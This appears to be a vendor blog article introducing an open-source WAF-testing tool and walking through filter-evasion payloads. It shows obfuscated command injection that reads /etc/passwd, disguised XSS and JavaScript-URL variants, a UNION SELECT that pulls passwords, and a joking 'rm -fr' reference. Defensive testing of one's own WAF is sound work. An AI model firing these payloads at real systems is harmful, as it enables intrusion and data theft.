WAF Bypass or find out about your WAF flaws before an attacker does
So you have bought a Web Application Firewall. In as a lucky owner of commercial product (not something free), you will find out everything. If you are lucky, there will be few, if not, get ready to make rules every 10 minutes to exclude false positives.
There are several criteria by which you can evaluate the WAF, the main ones are: the number of false positives (FP) and false negatives (FN). If the number of FPs can be assessed immediately by putting the WAF into operation, it is more difficult to detect misses and attacks. Most often different vulnerability scanners like Acunetix or Wapiti are used for this, but this is not quite right, because the focus is on finding flaws in web applications, not WAFs.
The information is provided solely for informational purposes. The toolkit is not intended to be used for any illegal or unlawful purpose. Do not violate any laws.
WAF Bypass Tool
As a WAF developer, before each release we conduct tests, one of the main stages of which is the search for attack misses. Once we realized that vulnerability nets take a long time and do not solve this problem completely, we started writing our own tests. So another tool appeared - WAF Bypass.
As the years passed, new WAF bypass techniques appeared, ĸ which we added and changed our approach to ĸ writing useful payloads, so some of the first payloads look a bit clumsy, but we will get to them in time. WAF Bypass contains useful payloads for checking various types of vulnerabilities, from XSS and SQLi to sensitive data disclosure and redirects:
- Open Redirect (OR)
- Cross Site Scripting (XSS)
- Remote File Execution (RCE)
- Server-Side Request Forgery (SSRF)
- Local and Remote File Include (LFI / RFI)
- Injection (SQLi, NoSQLi, LDAP, SSI, SSTI)
- Unwanted Access or sensitive data disclosure (UWA)
WAF Bypass contains many different workarounds, such as the following:
- multiple URLEncode;
- Base64Encode;
- HTML Entity Encode;
- UTF-8/16 Encode;
- UTF-8 Text Collation;
- multipart/form-boundary manipulation
- using a specific method (HTTP method)
- Request collation with different characters (null-byte, escaping etc.);
- etc.
How it works
WAF Bypass is written in Python 3 and distributed as a ready cĸrips or Docker-images. Support of various options (use of proxy-server, limitation of parallel streams, timeouts, detection of server response blocks, etc.) allows to flexibly manage the tool, the results are output to the console as tables or in JSON format (convenient for integration with your own IS systems or services).
During the cĸanization process, more than 2,000 requests are sent and the script controls the responses from the server in case the WAF under test has banned the IP or starts to return a incorrect response.
Startup parameters
WAF Bypass contains basic and additional startup parameters. For a quick start, you only need to clone the project, set the necessary PIP dependencies and set the target. Disable the auto-ban mode in the WAF before use.
# git clone https://github.com/nemesida-waf/waf_bypass.git /opt/waf-bypass/
# python3 -m pip install -r /opt/waf-bypass/requirements.txt
# python3 /opt/waf-bypass/main.py --host='example.com'
Additional parameters allow to make the tool control more flexible:
'--proxy' (--proxy='http://proxy.example.com:3128') - address of the proxy-server to access the target.
'--header' (--header 'Authorization: Basic YWRtaW46YWRtaW4=' --header 'X-TOKEN:ABCDEF') - allowsto set additional headers (useful if the target uses Basic Authentication or other access restriction mechanisms.
'--block-code' ( --block-code='222' or --block-code='403' - block-code='222') - allows to set the WAF response status(es) when blocking a request (useful if the WAF uses response statuses other than 403 or uses different statuses for different block types).
'--threads' ( --threads=15) - allows to set the number of parallel threads during cĸaning (10 by default).
'--timeout' ( --timeout=10) - allows to set the time to wait for the response from the server (30 by default).
'--json-format' --output results in JSON format (by default as tables).
Examples of bypasses
When I wrote this article I forgot all about bypasses, also I forgot about Log4Shell, which was notorious in the late 2021.
That’s it, I remember! I will start with a simple but understandable example – if the web application allows to communicate with bash and we can exploit RCE, for example:
example.com/?cmd=...; /bin/cat /etc/passwd
We get 403 - WAF finds the occurrence of /etc/passwd in the request. Using the bash conversion feature, we obfuscate the (wow, it’s a beautiful word) payload:
example.com/?cmd=...; /bin/cat /et?/pa??wd
Try running this in console to see if it works (most importantly, don’t delete the French locale: rm -fr). Congratulations on your first bypass.
Example two. Using the same payload (so as not to get up twice), let’s perform a double slashes:
example.com/?cmd=...; /bin/cat /etc\\/pa\\ss\\wd
Payload will be load to bash as example.com/?cmd=…; /bin/cat /etc\/pa\ss\wd, where it will work perfectly as an interpreter. Of course, we will not stop here and continue the obfuscation:
example.com/?cmd=...; /b'i'n\/?at /e't'c\/\pa??\wd
Again, the main thing is not to remove the French locale! Okay, I think the essence of bypass is clear, let’s break down the other examples.
You probably know about the:
alert('1)
But the result can also be represented in other ways:
onerror='alert`1`'
top[/al/.source+/ert/.source](1)
al\u0065rt(1)
And the payload
<a href="javascript:alert()">x</a>
might look like:
<a href=\"j	avascript:a	lert()\">x</a>
Well, in conclusion, for those who ĸthink that SQL injections should contain an escape character, you can consider such a payload:
1 union select password from users
That is, about the same request will go to the database:
SELECT foo FROM bar WHERE id = 1 UNION SELECT password FROM users;
Tips and tricks:
You can use a different UTF-8 Text character set in the search field. This would look something like:
SELECT * FROM users WHERE name LIKE 'admin';
admin - represented by Halfwidth and Fullwidth Forms will be equivalent to admin (Basic Latin), even though they are different character sets. That is the result of executing SQL will be identical, but WAF, most likely, will not be able to normalize the characters to Basic Latin.
Conclusion
The number of attack skips depends on different factors: the mechanisms and methods used to normalize requests, how well they are written, the code itself is so well written, etc. The only thing that can unite such aĸ solution is the presence of these passĸons. You can talk a lot about “black markets”, where the bad guys go to get bread and bypasses, you can parse publick society and twitter, but this problem must be dealt with. WAF Bypass allows you to find out about your WAF flaws before an attacker does.
If you liked this article, do like it and ask questions in the comments.